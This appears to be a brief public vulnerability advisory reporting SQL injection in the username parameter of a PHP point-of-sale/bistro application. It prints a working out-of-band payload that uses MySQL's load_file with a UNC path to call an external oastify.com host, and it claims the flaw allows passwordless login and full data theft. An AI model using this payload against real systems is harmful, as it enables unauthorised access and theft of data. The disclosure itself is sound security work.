# Titles: KRUKSTON-BISTRO-1.0 Multiple-SQLi # Author: nu11secur1ty # Date: 05/27/2025 # Vendor: https://www.mayurik.com/ # Software: https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html # Reference: https://portswigger.net/web-security/sql-injection ## Description: The username parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\9v5dite7wz9iuiaxp8wlv631nstlhcl0c30vnlba.oastify.com\\opp'))+' was submitted in the username parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can get all sensitive information from this system when he attacks it online, He can login super easily WITHOUT PASSWORD - ONLY USER - bypassing, and can crash or get every sensitive information from him!
